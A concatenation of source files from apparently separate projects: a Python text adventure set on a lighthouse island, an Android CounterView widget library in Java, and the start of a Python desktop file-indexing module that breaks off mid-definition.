<file_sep># The Lighthouse ***A text-based adventure in Python*** <p>Premise: you awake after a storm on a tiny island. Looking around, you find an abandoned lighthouse, as well as some unsettling clues about the last lightkeeper's fate. With only your wits and the objects you find, can you reach the lighthouse and signal for help?</p> Inspired by <NAME>' film *The Lighthouse* (2019) ## How to Play <p> clone repo and run adventure.py </p> <p> when prompted, enter a command. 'commands' are one or two-word phrases consisting of a verb and (optionally) a noun or direction. </p> *Stuck? start with 'view' to see a description of your current location!* ## Files iteminventory.py: contains the Item, Obstacle, and Inventory classes gmap.py: contains the Tile and Grid class, which utilize linked list concepts to help the player navigate a 3-D map gameparse.py: the Parser class, which takes player inputs and translates them to commands in the game adventure.py: this is where the game itself is played Island_Map.svg: scalable diagram showing tile-to-tile relationships ### Walkthrough [Spoilers!] > take rock <br> > go up. go west. go north <br> > view grave. take shovel <br> > go east <br> > use shovel. take bread <br> > go north <br> > view boat. take axe <br> > go south. go south. go west <br> > use bread. view nest. take cotton <br> > go north. go north <br> > use cotton. use axe. take key. <br> > go south. go south. go east. go east <br> > use key. view book. take code. <br> > go north <br> > take oil <br> > go up. go up <br> > use code. use oil. use rock. (win)<file_sep># File: adventure.py # A simple text adventure game """ HOW TO PLAY Objective - get to the top of the lighthouse and signal for help. Instructions - when prompted, enter a command into the terminal. commands are one or two word phrases consisting of a verb and a noun or direction. use commands to move around the map and to interact with objects """ # import modules import iteminventory as ii import gmap as mp import gameparse as pr #Initialize player's empty inventory (see iteminventory.py) player_inv = ii.player_inv #initialize island map (see map.py for tile info) island = mp.game_map #Initialize parser (see gameparse.py for command info) parser = pr.cmdp #set win condition def win_condition(): if island.get_location() == mp.tile10 and island.get_location().item is None: print("you win") return True return False # gameplay function, takes string user_command and parses input. then translates into executable command def play_game(): user_command = input("Enter a command: ") parser.parse(user_command) print() parser.command_choose() print() def main(): # start of game, print initial tile description print("THE LIGHTHOUSE") print() print(island.get_location().get_description()) while parser.continue_game() and not win_condition(): play_game() else: print("Goodbye.") if __name__ == '__main__': main() <file_sep> #import iteminventory module to place items in tiles import iteminventory as ii class Tile: def __init__(self, des, item=None, inv=None, nor=None, eas=None, sou=None, wes=None, up=None, dwn=None): self.description = des self.item = item self.inv = ii.Inventory() self.north = nor self.east = eas self.south = sou self.west = wes self.up = up self.down = dwn def get_description(self): if self.item is not None: return self.description + "There is " + self.item.get_description() return self.description def build_inv(self): if self.item is not None: self.inv.add_item(self.item) def has_item(self, item_name): if item_name in self.inv.items_by_name: return True return False class Grid: def __init__(self, start_pos = None, current_pos=None): self.start_pos = start_pos self.current_pos = current_pos def get_location(self): #returns a tile return self.current_pos def travel(self, nxt): if nxt is None: print("Can't go there") else: self.current_pos = nxt print(self.current_pos.get_description()) return self.current_pos # initialize nodes with descriptions tile0 = Tile('''You find yourself on a cold and desolate beach. Above you, only gray skies. You can see a foothold in the sheer cliff ahead. ''') tile1 = Tile('''Looking around, you see that you are on a tiny island. You see an old lighthouse and rickety shack in the distance, but the island appears to be uninhabited. ''') tile2 = Tile('Ahead of you is a rotting log. ') tile3 = Tile('Across the field of low sea-grass, a crude wooden cross marks an open pit ') tile4 = Tile('You come across a small cove carved into the shore ') tile5 = Tile('On the opposite end of the lighthouse, shielded from the wind, you stumble over something half-buried in the dirt') tile6 = Tile('At the dock, you see a small boat ') tile7 = Tile('This could only be the lightkeeper\'s shack. The door is fitted with a heavy padlock. ') tile8 = Tile('ground floor lighthouse, illuminated ') tile9 = Tile('In the middle of the stairwell, you pause. Above you is the hatch to the light. On the wall ') tile10 = Tile('Finally, you have made your way to the heart of the lighthouse. But still no lightkeeper. ') # set up tile links on map (relative directions see map) tile0.up = tile1 tile1.down, tile1.north, tile1.west, tile1.east = tile0, tile5, tile2, tile7 tile2.north, tile2.east = tile3, tile1 tile3.north, tile3.south, tile3.east = tile4, tile2, tile5 tile4.south, tile4.east = tile3, tile6 tile5.north, tile5.south, tile5.west = tile6, tile1, tile3 tile6.south,tile6.west = tile5, tile4 tile7.west, tile7.north = tile1, tile8 tile8.south, tile8.up = tile7, tile9 tile9.down, tile9.up = tile8, tile10 tile10.down = tile9 #place obstacles in proper tiles (see iteminventory.py) tile0.item = ii.rock tile0.build_inv() tile1.build_inv() tile2.item = ii.bird tile2.build_inv() tile3.item = ii.grave tile3.build_inv() tile4.item = ii.mermaid tile4.build_inv() tile5.item = ii.rations tile5.build_inv() tile6.item = ii.boat tile6.build_inv() tile7.item = ii.door tile7.build_inv() tile8.item = ii.oil tile8.build_inv() tile9.item = ii.carving tile9.build_inv() tile10.item = ii.hatch tile10.build_inv() #initialize game map game_map = Grid(start_pos=tile0, current_pos=tile0) <file_sep>#filename: parser.py import gmap as mp class Parser: def __init__(self): # A list of commands the parser recognizes. self.recognized_commands = [] # A list of nouns (and directions!) self.recognized_nouns = [] self.verb, self.noun = None, None #Check input phrase for validity def valid(self, phrase): if phrase.strip() == '': print("No command given") return False # break phrase into list of words phrase_as_list = phrase.split() # check first word (lowercase) against recognized commands check_verb = phrase_as_list[0].lower() if check_verb not in self.recognized_commands: print("Unrecognized command:", check_verb) return False #only 'view' and 'exit' are valid one-word command phrases if len(phrase_as_list) < 2 and not \ (check_verb =='exit' or check_verb =='view'): print("Incomplete phrase.") return False # if phrase is 2 words or greater elif len(phrase_as_list) > 1: # consider 2nd word as noun. check against recognized nouns check_noun = phrase_as_list[1].lower() if check_noun not in self.recognized_nouns: print("Unrecognized noun:", check_noun) return False # if noun and verb both recognized return True #a parser to separate verb and noun from user input def parse(self, phrase): self.verb, self.noun = None, None while not self.valid(phrase): phrase = input("Try again." ) else: verb_noun = phrase.split() self.verb = verb_noun[0].lower() if len(verb_noun) > 1: self.noun = verb_noun[1].lower() #returns verb, noun tuple return self.verb, self.noun # Getter method for verb def get_verb(self): return self.verb # Getter method for noun def get_noun(self): return self.noun # Now, a parser with functions specific to the adventure.py game class GParser(Parser): def __init__(self): Parser.__init__(self) def cannot_do(self): print("Can't do that.", end=" ") # Define exit clause def continue_game(self): verb = self.get_verb() noun = self.get_noun() if verb == 'exit' and (noun == 'game' or noun is None): return False return True def go(self, direction): current_tile = mp.game_map.get_location() if direction not in ['up', 'down', 'north', 'east', 'south', 'west']: print("Invalid direction") else: #get next tile by finding attribute with direction's name nxt_tile = getattr(current_tile, direction) # returns new current tile, see mp for travel documentation mp.game_map.travel(nxt_tile) def view(self, inp_noun): current_tile = mp.game_map.get_location() #view inventory condition if inp_noun == "inventory": mp.ii.player_inv.describe_all() # if no noun is given (i.e. 'view '), elif inp_noun == None: # view current tile description print(current_tile.get_description()) # if input noun is in current tile else: tile_inv = current_tile.inv if tile_inv.in_inventory(inp_noun): obj = tile_inv.items_by_name[inp_noun] print(obj.get_description()) # if the view item is an Obstacle with view as its weakness if isinstance(obj, mp.ii.Obstacle) and obj.weakness == 'view': #no item needed to defeat obj.defeat(item_name = 'view') current_tile.item = obj.unlock current_tile.build_inv() else: self.cannot_do() return None #take item works only on items not obstacles, thus don't worry #about setting tile item to None def take_item(self, item): #if item present in current location current_tile = mp.game_map.get_location() if current_tile.has_item(item.get_name()): mp.ii.player_inv.add_item(item) print(item.get_name(), "added to inventory.") current_tile.item = None current_tile.build_inv() else: self.cannot_do() print("Item not found:", item.get_name()) def use_item(self, item_name): current_tile = mp.game_map.get_location() # if attempting to use an item not in player's inventory if item_name not in mp.ii.player_inv.items_by_name: self.cannot_do() print(item_name, "not in inventory.") # IF the item in the location is an instance of Obstacle, elif isinstance(current_tile.item, mp.ii.Obstacle): # AND IF the item defeats the obstacle if current_tile.item.defeat(item_name): # THEN find item in inventory's items by name dict item_used = mp.ii.player_inv.items_by_name[item_name] # call rem_item method on player_inv, (return updated inv) mp.ii.player_inv.rem_item(item_used) #set new obstacle (or item) to unlocked current_tile.item = current_tile.item.unlock # adjust tile's inventory current_tile.build_inv() # ELSE (if item does not defeat obstacle) else: self.cannot_do() print(item_name, "didn't work.") # if the item in room is not an obstacle, or there is no item else: self.cannot_do() # translates commands entered to the function def command_choose(self): if self.get_verb() == 'view': self.view(self.get_noun()) elif self.get_verb() == 'go': self.go(self.get_noun()) elif self.get_verb() == 'take': item = mp.ii.all_items.items_by_name[self.get_noun()] self.take_item(item) elif self.get_verb() == 'use': self.use_item(self.get_noun()) #game-specific parser cmdp = GParser() cmdp.recognized_commands = ['go', 'exit', 'view', 'take', 'use'] cmdp.recognized_nouns = ['north', 'east', 'south', 'west', 'up', 'down', 'game', 'inventory'] cmdp.recognized_nouns.extend(mp.ii.all_items.items_by_name.keys()) <file_sep>""" Filename: iteminventory.py Description: Defines an item and inventory class to be used in adventure game (see README.md of project directory) Author: <NAME> """ class Item: def __init__(self, name, description): self.name = name self.description = description # getter method to return item's name def get_name(self): return self.name # getter method to safely retrieve item description def get_description(self): return self.description class Obstacle(Item): def __init__(self, name, description, weakness, unlock): Item.__init__(self, name, description) #defines the item that will defeat obstacle self.weakness = weakness #the item or next obstacle that is revealed upon defeat self.unlock = unlock #a message to display to the player when they defeat an obstacle self.defeat_message = None def defeat(self, item_name): if self.weakness == 'view' and item_name == 'view': print(self.defeat_message) return True elif item_name == self.weakness.get_name(): print(self.defeat_message) return True return False class Inventory: def __init__(self): # dictionary of items. key is item name, val is actual item object self.items_by_name = {} # check if a given item is in the inventory by looking it up in items_by_name dictionary def in_inventory(self, item_name): if item_name in self.items_by_name: return True return False def add_item(self, item): #if item not already in inventory, add it if not self.in_inventory(item): self.items_by_name[item.get_name()] = item return self.items_by_name def rem_item(self, item_name): #if item is in inventory, delete it if self.in_inventory(item_name): del items_by_name[item_name] return self.items_by_name def describe_all(self): # if items_by_name is not empty if self.items_by_name: # print each item description on a seperate line for item in self.items_by_name.values(): print(item.get_description()) else: print("Your inventory is empty.") return self.items_by_name #Initialize items in game, grouped by tile all_items = Inventory() #tile0 rock = Item('rock', 'a jagged black rock, perhaps flint') all_items.add_item(rock) #tile3 shovel = Item('shovel', 'a small shovel') all_items.add_item(shovel) grave = Obstacle('grave', 'what appears to be a shallow grave',\ 'view', shovel) grave.defeat_message = 'Thankfully, the grave is empty. Inside the grave, a well-worn shovel.' all_items.add_item(grave) #tile6 axe = Item('axe', 'a rusted old axe, covered in barnacles') all_items.add_item(axe) boat = Obstacle('boat', 'the remains of a small boat', 'view', axe) boat.defeat_message = '''The dinghy was ravaged not by the stormy waters, but by man. \ A message was hacked into the splintered bow: "Wickies heed not the siren call". You see an axe lying on the dock.''' all_items.add_item(boat) #tile5 bread = Item('bread', 'some soggy old bread') all_items.add_item(bread) rations = Obstacle('crate', 'a wooden crate labelled "EMERGENCY RATIONS"',\ shovel, bread) rations.defeat_message = 'You excitedly open the crate, only to find a few crumbs of bread, too soggy even for you to eat.' all_items.add_item(rations) #tile2 cotton = Item('cotton', 'scraps of cotton from an old sailor\'s coat') all_items.add_item(cotton) nest = Obstacle('nest', 'a strange looking nest', 'view', cotton) nest.defeat_message = 'As you approach, you see that the nest is made up of the cotton scraps from an old sailor\'s coat.' all_items.add_item(nest) bird = Obstacle('bird', 'a crippled old gull guarding its nest',\ bread, nest) bird.defeat_message = '''You scatter the crumbs over the ground. \ The gull hops down to eat them, then glances back at you before flying away. ''' all_items.add_item(bird) #tile4 key = Item('key', 'a large key on a silver chain') all_items.add_item(key) medusa = Obstacle('medusa', 'a fearsome creature with eels for hair', axe, key) all_items.add_item(medusa) medusa.defeat_message = '''Charging forward into the surf, you swing wildly at the creature with your axe. \ Suddenly, her form changes again, and you see that you are wrestling with a mass of seaweed and fishing nets.\ Among the tangled mass is a glimmering metal key''' mermaid = Obstacle('mermaid', 'a beautiful woman with the voice of an angel',\ cotton, medusa) mermaid.defeat_message = '''You tear off two strips of cotton and stuff them into your ears. Realizing that her song cannot sway you, \ the mermaid's face twists into a horrifying snarl. Her beauty is gone, replaced by a hideous sea-witch.''' all_items.add_item(mermaid) #tile7 code = Item('code', 'a slip of paper that says: 9VK0A') all_items.add_item(code) book = Obstacle('book', 'a ragged book labelled "CAPTAIN\'S LOG"', 'view', code) all_items.add_item(book) shack = Obstacle('shack', 'the dusty interior of a one-room shack', 'view', book) all_items.add_item(shack) door = Obstacle('door', 'a locked door', key, shack) all_items.add_item(door) #tile8 oil = Item('oil', 'a full canister of oil') all_items.add_item(oil) #tile10 unlit_wick = Obstacle('wick', 'the wick needs a spark to ignite', rock, unlock=None) all_items.add_item(unlit_wick) empty_tank = Obstacle('tank', 'the fuel tank is empty', oil, unlit_wick) all_items.add_item(empty_tank) hatch = Obstacle('hatch', 'a keypad to unlock the hatch', code, empty_tank) all_items.add_item(hatch) #tile9 carving =Item('carving', 'carved into the otherwise smooth wall is a \ verse: "blah blah"') all_items.add_item(carving) #Initialize player inventory that is empty player_inv = Inventory()
797d6229031fcb3e63397e99021a31592aa14580
[ "Markdown", "Python" ]
5
Markdown
LaurenKScott/COMP151-the-lighthouse
930b4aa6b9e7eb52c314298ac2e098042c852af8
ba00a1c73c071eea0afc9a761f0adafa980f2101
refs/heads/master
<repo_name>dixit12/CustomCounterExample<file_sep>/app/src/main/java/com/sew/customviewapplication/views/CounterView.java package com.sew.customviewapplication.views; import android.content.Context; import android.content.res.TypedArray; import android.graphics.drawable.Drawable; import android.util.AttributeSet; import android.view.Gravity; import android.view.View; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.appcompat.content.res.AppCompatResources; import androidx.core.graphics.drawable.DrawableCompat; import com.sew.customviewapplication.R; public class CounterView extends LinearLayout { String VALUE="VALUE"; int currentValue=0,newValue=0; int colorNumber = getResources().getColor(R.color.black_color, null); int colorValue = getResources().getColor(R.color.default_value_color, null); int plusButtonColor = getResources().getColor(R.color.default_button_color, null); int minusButtonColor = getResources().getColor(R.color.default_button_color,null); int minValue = 0, maxValue = 100, initialValue = 50; ImageView plusImageButton, minusImageButton; TextView tvNumber; TextView tvTextTitle; Context context; public CounterView(@NonNull Context context) { super(context); this.context = context; } public CounterView(@NonNull Context context, @Nullable AttributeSet attrs) { super(context, attrs); this.context = context; init(context, attrs); } public CounterView(@NonNull Context context, @Nullable AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); } private void init(Context context, AttributeSet attrs) { TypedArray ta = context.obtainStyledAttributes(attrs, R.styleable.CounterView, 0, 0); try { colorNumber = ta.getColor(R.styleable.CounterView_colorNumber, colorNumber); colorValue = ta.getColor(R.styleable.CounterView_colorValue, colorValue); minValue = ta.getInteger(R.styleable.CounterView_minValue, minValue); maxValue = ta.getInteger(R.styleable.CounterView_maxValue, maxValue); initialValue = ta.getInteger(R.styleable.CounterView_initialValue, initialValue); plusButtonColor = ta.getColor(R.styleable.CounterView_plusButtonColor, plusButtonColor); minusButtonColor = ta.getColor(R.styleable.CounterView_minusButtonColor, minusButtonColor); } finally { ta.recycle(); init(); } } public void init() { LayoutParams params = new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT); setLayoutParams(params); setOrientation(LinearLayout.HORIZONTAL); setWeightSum(3); minusImageButton = new ImageView(context); params = new LayoutParams(0, LayoutParams.MATCH_PARENT, 1.0f); minusImageButton.setLayoutParams(params); minusImageButton.setImageResource(R.drawable.minuscircle); setMinusImageButton(minusButtonColor); minusImageButton.setPadding(5, 5, 5, 5); minusImageButton.setScaleType(ImageView.ScaleType.FIT_CENTER); minusImageButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { currentValue = Integer.valueOf(tvNumber.getText().toString()); newValue = Math.max(currentValue - 1, minValue); if (onValuesClickListener != null) { onValuesClickListener.OnValueChange(currentValue, newValue); } tvNumber.setText(String.valueOf(newValue)); } }); LinearLayout llValue = new LinearLayout(context); params = new LayoutParams(0, LayoutParams.WRAP_CONTENT, 1.0f); llValue.setLayoutParams(params); llValue.setOrientation(VERTICAL); llValue.setWeightSum(5); tvNumber = new TextView(context); params = new LayoutParams(LayoutParams.MATCH_PARENT, 0, 3.0f); tvNumber.setLayoutParams(params); setColorNumber(colorNumber); tvNumber.setTextSize(24f); if (initialValue>maxValue) initialValue=maxValue; if (initialValue<minValue) initialValue=minValue; tvNumber.setText(String.valueOf(initialValue)); tvNumber.setGravity(Gravity.CENTER); tvNumber.setPadding(2, 2, 2, 2); tvTextTitle = new TextView(context); params = new LayoutParams(LayoutParams.MATCH_PARENT, 0, 2.0f); tvTextTitle.setLayoutParams(params); setColorValue(colorValue); tvTextTitle.setText(VALUE); tvTextTitle.setGravity(Gravity.CENTER); tvTextTitle.setTextSize(14f); tvTextTitle.setPadding(5, 5, 5, 5); llValue.addView(tvNumber); llValue.addView(tvTextTitle); plusImageButton = new ImageView(context); params = new LayoutParams(0, LayoutParams.MATCH_PARENT, 1.0f); plusImageButton.setLayoutParams(params); plusImageButton.setImageResource(R.drawable.pluscircle); setPlusImageButton(plusButtonColor); plusImageButton.setPadding(5, 5, 5, 5); plusImageButton.setScaleType(ImageView.ScaleType.FIT_CENTER); plusImageButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { currentValue = Integer.valueOf(tvNumber.getText().toString()); newValue = Math.min(currentValue + 1, maxValue); if (onValuesClickListener != null) { onValuesClickListener.OnValueChange(currentValue, newValue); } tvNumber.setText(String.valueOf(newValue)); } }); setPadding(10, 40, 10, 40); addView(minusImageButton); addView(llValue); addView(plusImageButton); } private OnValuesClickListener onValuesClickListener; public interface OnValuesClickListener { void OnValueChange(int oldValue, int newValue); } public void setOnValueChangeListener(OnValuesClickListener listener) { this.onValuesClickListener = listener; } @Override public void setOrientation(int orientation) { super.setOrientation(orientation); } public ImageView getPlusImageButton() { return plusImageButton; } public void setPlusImageButton(int color) { Drawable plusColor = AppCompatResources.getDrawable(context, R.drawable.pluscircle); assert plusColor != null; Drawable pluswrappedDrawable = DrawableCompat.wrap(plusColor); DrawableCompat.setTint(pluswrappedDrawable, color); plusImageButton.setImageDrawable(pluswrappedDrawable); } public ImageView getMinusImageButton() { return minusImageButton; } public void setMinusImageButton(int color) { Drawable minusColor = AppCompatResources.getDrawable(context, R.drawable.minuscircle); assert minusColor != null; Drawable minuswrappedDrawable = DrawableCompat.wrap(minusColor); DrawableCompat.setTint(minuswrappedDrawable, color); minusImageButton.setImageDrawable(minuswrappedDrawable); } public int getCurrentValue() { return currentValue; } public int getNewValue() { return newValue; } public int getColorNumber() { return colorNumber; } public void setColorNumber(int colorNumber) { this.colorNumber = colorNumber; tvNumber.setTextColor(colorNumber); } public int getColorValue() { return colorValue; } public void setColorValue(int colorValue) { this.colorValue = colorValue; tvTextTitle.setTextColor(colorValue); } public int getMinValue() { return minValue; } public void setMinValue(int minValue) { this.minValue = minValue; } public int getMaxValue() { return maxValue; } public void setMaxValue(int maxValue) { this.maxValue = maxValue; } public int getInitialValue() { return initialValue; } public void setInitialValue(int initialValue) { this.initialValue = initialValue; } } <file_sep>/counterviewlibrary/src/main/java/com/dixitgarg/counterviewlibrary/views/CounterView.java package com.dixitgarg.counterviewlibrary.views; import android.content.Context; import android.content.res.TypedArray; import android.graphics.drawable.Drawable; import android.util.AttributeSet; import android.view.Gravity; import android.view.View; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import androidx.annotation.ColorInt; import androidx.annotation.IntDef; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.appcompat.content.res.AppCompatResources; import androidx.core.graphics.drawable.DrawableCompat; import com.dixitgarg.counterviewlibrary.R; /** * <h3> Shows the Counter View</h3> * The Counter View implements an application that shows Counter View on the Screen and * on clicking the plus button increments the Initial Value, * clicking the minus button decrements the Initial Value * where the user can set the limits as minimum and maximum value. * * @author <NAME> * @version 1.0 * */ public class CounterView extends LinearLayout { String VALUE="VALUE"; int currentValue=0,newValue=0; int colorNumber = getResources().getColor(R.color.black_color, null); int colorValue = getResources().getColor(R.color.default_value_color, null); int plusButtonColor = getResources().getColor(R.color.default_button_color, null); int minusButtonColor = getResources().getColor(R.color.default_button_color,null); int minValue = 0, maxValue = 100, initialValue = 50; ImageView plusImageButton, minusImageButton; TextView tvNumber; TextView tvTextTitle; Context context; public CounterView(@NonNull Context context) { super(context); this.context = context; } public CounterView(@NonNull Context context, @Nullable AttributeSet attrs) { super(context, attrs); this.context = context; init(context, attrs); } public CounterView(@NonNull Context context, @Nullable AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); } private void init(Context context, AttributeSet attrs) { TypedArray ta = context.obtainStyledAttributes(attrs, R.styleable.CounterView, 0, 0); try { colorNumber = ta.getColor(R.styleable.CounterView_colorNumber, colorNumber); colorValue = ta.getColor(R.styleable.CounterView_colorValue, colorValue); minValue = ta.getInteger(R.styleable.CounterView_minValue, minValue); maxValue = ta.getInteger(R.styleable.CounterView_maxValue, maxValue); initialValue = ta.getInteger(R.styleable.CounterView_initialValue, initialValue); plusButtonColor = ta.getColor(R.styleable.CounterView_plusButtonColor, plusButtonColor); minusButtonColor = ta.getColor(R.styleable.CounterView_minusButtonColor, minusButtonColor); } finally { ta.recycle(); init(); } } public void init() { LayoutParams params = new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT); setLayoutParams(params); setOrientation(LinearLayout.HORIZONTAL); setWeightSum(3); minusImageButton = new ImageView(context); params = new LayoutParams(0, LayoutParams.MATCH_PARENT, 1.0f); minusImageButton.setLayoutParams(params); minusImageButton.setImageResource(R.drawable.minuscircle); setMinusImageButton(minusButtonColor); minusImageButton.setPadding(5, 5, 5, 5); minusImageButton.setScaleType(ImageView.ScaleType.FIT_CENTER); minusImageButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { currentValue = Integer.valueOf(tvNumber.getText().toString()); newValue = Math.max(currentValue - 1, minValue); if (onValuesClickListener != null) { onValuesClickListener.OnValueChange(currentValue, newValue); } tvNumber.setText(String.valueOf(newValue)); } }); LinearLayout llValue = new LinearLayout(context); params = new LayoutParams(0, LayoutParams.WRAP_CONTENT, 1.0f); llValue.setLayoutParams(params); llValue.setOrientation(VERTICAL); llValue.setWeightSum(5); tvNumber = new TextView(context); params = new LayoutParams(LayoutParams.MATCH_PARENT, 0, 3.0f); tvNumber.setLayoutParams(params); setColorNumber(colorNumber); tvNumber.setTextSize(24f); if (initialValue>maxValue) initialValue=maxValue; if (initialValue<minValue) initialValue=minValue; tvNumber.setText(String.valueOf(initialValue)); tvNumber.setGravity(Gravity.CENTER); tvNumber.setPadding(2, 2, 2, 2); tvTextTitle = new TextView(context); params = new LayoutParams(LayoutParams.MATCH_PARENT, 0, 2.0f); tvTextTitle.setLayoutParams(params); setColorValue(colorValue); tvTextTitle.setText(VALUE); tvTextTitle.setGravity(Gravity.CENTER); tvTextTitle.setTextSize(14f); tvTextTitle.setPadding(5, 5, 5, 5); llValue.addView(tvNumber); llValue.addView(tvTextTitle); plusImageButton = new ImageView(context); params = new LayoutParams(0, LayoutParams.MATCH_PARENT, 1.0f); plusImageButton.setLayoutParams(params); plusImageButton.setImageResource(R.drawable.pluscircle); setPlusImageButton(plusButtonColor); plusImageButton.setPadding(5, 5, 5, 5); plusImageButton.setScaleType(ImageView.ScaleType.FIT_CENTER); plusImageButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { currentValue = Integer.valueOf(tvNumber.getText().toString()); newValue = Math.min(currentValue + 1, maxValue); if (onValuesClickListener != null) { onValuesClickListener.OnValueChange(currentValue, newValue); } tvNumber.setText(String.valueOf(newValue)); } }); setPadding(10, 40, 10, 40); addView(minusImageButton); addView(llValue); addView(plusImageButton); } private OnValuesClickListener onValuesClickListener; public interface OnValuesClickListener { void OnValueChange(int oldValue, int newValue); } public void setOnValueChangeListener(OnValuesClickListener listener) { this.onValuesClickListener = listener; } @Override public void setOrientation(int orientation) { super.setOrientation(orientation); } /** * Retrieves the Plus Image Button * * @see #getPlusImageButton() * * @return Plus Image Button */ public ImageView getPlusImageButton() { return plusImageButton; } /** * Specifies a tint for Plus Image Button. * * @see #setPlusImageButton(int color) * @see #getPlusImageButton() * * @param color Color used for tinting this button */ public void setPlusImageButton(@ColorInt int color) { Drawable plusColor = AppCompatResources.getDrawable(context, R.drawable.pluscircle); assert plusColor != null; Drawable pluswrappedDrawable = DrawableCompat.wrap(plusColor); DrawableCompat.setTint(pluswrappedDrawable, color); plusImageButton.setImageDrawable(pluswrappedDrawable); } /** * Retrieves the Minus Image Button * * @see #getMinusImageButton() * * @return Minus Image Button */ public ImageView getMinusImageButton() { return minusImageButton; } /** * Specifies a tint for Minus Image Button. * * @see #setMinusImageButton(int color) * @see #getMinusImageButton() * @param color Color used for tinting this button */ public void setMinusImageButton(@ColorInt int color) { Drawable minusColor = AppCompatResources.getDrawable(context, R.drawable.minuscircle); assert minusColor != null; Drawable minuswrappedDrawable = DrawableCompat.wrap(minusColor); DrawableCompat.setTint(minuswrappedDrawable, color); minusImageButton.setImageDrawable(minuswrappedDrawable); } public int getCurrentValue() { return currentValue; } public int getNewValue() { return newValue; } /** * Returns a colored integer .If the color of number is not set,then default color from the set is used. * * @see #getColorNumber() * * @return Colored Number * * @exception NullPointerException If the number is not initialized then it throws the exception */ public int getColorNumber() { return colorNumber; } /** * Sets the Number color for all the states (normal, selected, * focused) to be this color. * * @param colorNumber A color value in the form 0xAARRGGBB. * Do not pass a resource ID. To get a color value from a resource ID, call * {@link android.support.v4.content.ContextCompat#getColor(Context, int) getColor}. * * @see #setColorNumber(int) * @see #getColorNumber() * * @attr ref android.R.styleable#TextView_textColor */ public void setColorNumber(@ColorInt int colorNumber) { this.colorNumber = colorNumber; tvNumber.setTextColor(colorNumber); } /** * Returns a colored Text .If the color of Text is not set,then default color from the set is used. * * @see #getColorValue() * * @return Colored Value Text * * @exception NullPointerException If the Text is not initialized then it throws the exception */ public int getColorValue() { return colorValue; } /** * Sets the text color for all the states (normal, selected, * focused) to be this color. * * @param colorValue A color value in the form 0xAARRGGBB. * Do not pass a resource ID. To get a color value from a resource ID, call * {@link android.support.v4.content.ContextCompat#getColor(Context, int) getColor}. * * @see #setColorValue(int color) * @see #getColorValue() * * @attr ref android.R.styleable#TextView_textColor */ public void setColorValue(@ColorInt int colorValue) { this.colorValue = colorValue; tvTextTitle.setTextColor(colorValue); } /** * Returns the minimum value * * @see #getMinValue() * @return minValue */ public int getMinValue() { return minValue; } /** * Sets the minimum value * * @param minValue Integer value passed in this parameter to set as minimum value * * @see #setMinValue(int minValue) * @see #getMinValue() * */ public void setMinValue(int minValue) { this.minValue = minValue; } /** * Returns the maximum value * * @see #getMaxValue() * @return maxValue */ public int getMaxValue() { return maxValue; } /** * Sets the maximum value of the number. * * @param maxValue Integer value passed in this parameter to set as maximum value * * @see #setMaxValue(int maxValue) * @see #getMaxValue() * */ public void setMaxValue(int maxValue) { this.maxValue = maxValue; } /** * Retrieves the Initial Value. * If the Initial Value is not initialized then 50 is set as Initial Value * * @return initialValue */ public int getInitialValue() { return initialValue; } /** * Sets the Initial Value on the Counter. * If the Initial Value is greater than maximum value then * Initial value is set as max value * and If value is smaller than minimum value then Initial Value is * set as minimum value * @param initialValue Integer value is passed to set as Initial Value */ public void setInitialValue(int initialValue) { this.initialValue = initialValue; } } <file_sep>/counterviewlibrary/README.md # CounterView-Library A Custom View Library to increment and decrement the counter <file_sep>/settings.gradle include ':app', ':counterviewlibrary' rootProject.name='CustomViewApplication' <file_sep>/README.md "# Counter-Library"
8f5b3ddcac0cb48f77ebe16a42c4b528152aeb5b
[ "Markdown", "Java", "Gradle" ]
5
Java
dixit12/CustomCounterExample
28a3e357341dbcb97682a5052e07de5483084734
8ae473ed99d611b7829440037ebb40c7f6010a82
refs/heads/master
<file_sep>#The automatic updation of data in background takes place in this module import os from tool import* from pptx import Presentation import openpyxl import pickle import docx import re from time import* import threading from pdfparser import PDFParser, PDFDocument from pdfinterp import PDFResourceManager, PDFPageInterpreter from converter import PDFPageAggregator from layout import LAParams, LTTextBox, LTTextLine extlist=('.mp3','.ace','.mp4','.avi','.flv','.mkv','.jpg','.jpeg','.htm','.html','.pdf','.png','.exe','.txt','.docx','.xml','.gif','.odp','.pptx','.zip','.py','.cpp','.c','.rar','.xlsx') x={} def database(dir): b=os.listdir(dir) for entity in b: sleep(0.01) if entity=="$Recycle.Bin" or entity=="$RECYCLE.BIN" or entity=="System Volume Information" or "appdata" in entity.lower(): continue if os.path.isdir(r'{}\{}'.format(dir,entity)): x[entity]=r'{}\{}'.format(dir,entity) try: database(r'{}\{}'.format(dir,entity)) except: continue else: if '.mp3' in entity: if '.lnk' in entity or '.LNK' in entity: continue meta=getmeta(r'{}\{}'.format(dir,entity)) tuple2=(entity,meta) x[tuple2]=r'{}\{}'.format(dir,entity) else: if '.lnk' in entity or '.LNK' in entity: continue x[entity]=r'{}\{}'.format(dir,entity) def getmeta(file): os.chdir(r'C:\database1') try: a=os.popen(r'tool.bat "{}"'.format(file)) except: createtool() a=os.popen(r'tool.bat "{}"'.format(file)) for word in a: if 'artist' in word or 'Artist' in word: return word def update_database(): if not os.path.exists(r'C:\database1'): os.mkdir(r'C:\database1') createtool() ll2=re.findall(r"[D-Z]+:",os.popen("wmic logicaldisk get deviceid").read(),re.MULTILINE)+re.findall(r"[A-B]+:",os.popen("wmic logicaldisk get deviceid").read(),re.MULTILINE) for direc in ll2: ll3=re.findall(r"[A-Z]+:",os.popen("wmic logicaldisk where drivetype=2 get deviceid").read(),re.MULTILINE) if direc in ll3: continue try: rcheck=os.popen("vol {}".format(direc)) rchk=rcheck.readline() if 'recovery' in rchk or 'RECOVERY' in rchk: continue try: database(direc) except: continue except: continue os.chdir(r'C:\Users') dirinfo=os.popen('dir /B') for direc in dirinfo: str(direc) dirc=direc.strip() try: database(r"C:\Users\{}".format(dirc)) except: continue update_file_database() scan2() def 